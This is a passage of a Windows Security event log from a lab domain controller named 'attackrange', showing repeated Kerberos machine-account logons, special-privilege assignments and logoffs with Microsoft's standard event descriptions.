This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249123
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD3DBB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64144

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249122
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD3DBB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249121
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD3D35

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249120
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD3D35
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64143

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249119
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD3D35

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249118
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD3CB8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249117
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD3CB8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64142

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249116
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD3CB8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249139
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD5290

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249138
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD5290
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64149

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249137
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD5290

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249136
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD51F3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249135
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD51F3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64148

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249134
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD51F3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249133
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD514C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249132
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD514C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64147

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249131
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD514C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249130
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD50A8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249129
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD50A8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64146

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249128
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD50A8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249151
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD5C32

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249150
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD5C32
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64153

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249149
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD5C32

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249148
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD5BC3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249147
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD5BC3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64152

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249146
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD5BC3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249145
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD5B5B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249144
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD5B5B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64151

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
